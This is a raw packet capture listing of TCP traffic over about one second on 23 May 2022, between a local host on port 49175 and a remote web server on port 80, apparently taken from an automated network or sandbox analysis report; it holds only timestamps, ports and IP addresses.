May 23, 2022 08:34:56.392483950 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.392508030 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.392564058 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.392565012 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.392618895 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.392621994 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.392674923 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.392678022 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.392729044 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.392739058 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.392765045 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.392781973 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.392837048 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.392838001 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.392889023 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.392891884 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.392945051 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.392987967 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.392990112 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.393013954 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.393018007 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.393037081 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.393063068 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.393062115 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.393069983 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.393078089 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.393101931 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.393702030 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549396038 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549431086 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549453020 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549474955 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549480915 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549501896 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549508095 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549510002 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549513102 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549523115 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549535990 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549560070 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549563885 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549575090 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549581051 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549583912 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549587011 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549609900 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549623013 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549633026 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549655914 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549666882 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549676895 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549679995 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549694061 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549705029 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549720049 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549730062 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549751997 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549761057 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549773932 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549778938 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549784899 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549798012 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549820900 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549828053 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549837112 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549844980 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549865961 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549868107 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549890995 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549894094 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549905062 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549916029 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549937963 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549937963 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549962044 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.549966097 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549978971 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.549985886 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.550009012 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.550013065 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550019979 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550033092 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.550057888 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.550064087 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550072908 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550081968 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.550106049 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.550115108 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550126076 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550127983 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.550152063 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.550158978 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550170898 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550174952 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.550196886 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.550220013 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.550230026 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550239086 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550242901 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.550246000 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550261021 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550266981 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.550290108 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.550297022 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550307035 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550312042 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.550334930 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.550339937 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550352097 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550358057 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.550374031 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550380945 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.550405025 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.550409079 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550421000 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550427914 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.550442934 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550452948 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.550478935 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.550482988 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550498009 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550502062 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.550518990 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550543070 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.550879002 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.707268953 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.707312107 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.707340002 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.707366943 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.707396030 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.707422018 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.707451105 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.707479954 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.707529068 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.707654953 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.707664013 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.707668066 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.707670927 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.707674980 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.707679033 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.707998991 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708045959 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708072901 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708115101 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708154917 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708170891 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708183050 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708205938 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708210945 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708215952 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708228111 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708235979 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708236933 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708244085 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708265066 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708277941 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708292007 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708293915 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708322048 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708323956 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708350897 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708363056 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708391905 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708400965 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708442926 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708532095 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708532095 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708544016 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708551884 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708559990 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708560944 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708600044 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708638906 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708667994 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708683014 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708695889 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708699942 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708709955 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708719969 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708724022 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708729029 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708753109 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708781004 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708807945 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708817959 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708831072 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708837032 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708841085 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708849907 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708858967 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708864927 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708889008 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708893061 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708904028 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708920956 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708947897 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708957911 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708975077 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.708976030 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.708986998 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.709017038 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.709038973 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.709043980 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.709069967 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.709070921 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.709084988 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.709100962 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.709129095 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.709137917 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.709156990 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.709156036 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.709167004 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.709184885 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.709213018 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.709213972 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.709232092 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.709240913 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.709249973 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.709270000 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.709304094 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.709319115 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.709567070 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.710036993 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.865536928 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.865566015 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.865581989 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.865597963 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.865613937 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.865629911 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.865647078 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.865664959 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.865693092 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.865725994 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.865847111 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.865878105 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.865890980 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.865894079 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.865910053 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.865911961 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.865927935 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.865938902 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.865943909 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.865956068 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.865972042 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.865984917 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.865988970 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.865988970 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866005898 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866008043 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.866024017 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866024971 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.866038084 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866051912 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866413116 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.866430998 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.866466045 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866496086 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.866525888 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.866542101 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866542101 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.866559982 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.866560936 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866575956 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866576910 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.866586924 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866595030 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.866616011 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866621971 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866646051 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.866662025 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.866677046 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.866679907 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866693974 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.866695881 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866707087 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866724014 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866729975 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.866745949 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.866763115 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.866772890 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866777897 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866790056 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.866796017 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866806030 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.866823912 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866838932 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866851091 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.866867065 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.866889000 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866903067 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866903067 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.866919041 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.866938114 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.866952896 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.867031097 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.867062092 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.867079020 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.867096901 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.867110968 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.867113113 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.867125988 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.867130995 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.867147923 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.867149115 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.867156982 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.867165089 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.867181063 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.867182016 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.867194891 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.867198944 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:56.867219925 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.867250919 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:56.871469975 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.023921967 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.023972988 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.023989916 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.023999929 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024014950 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024028063 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024032116 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024055958 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024065018 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024082899 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024086952 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024111986 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024115086 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024139881 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024147987 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024168015 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024178028 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024195910 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024209976 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024224043 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024225950 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024250031 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024255037 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024276018 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024282932 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024305105 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024307013 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024333954 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024339914 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024360895 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024369955 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024391890 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024399042 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:34:57.024420023 CEST	80	49175	160.153.40.1	192.168.2.22
May 23, 2022 08:34:57.024432898 CEST	49175	80	192.168.2.22	160.153.40.1
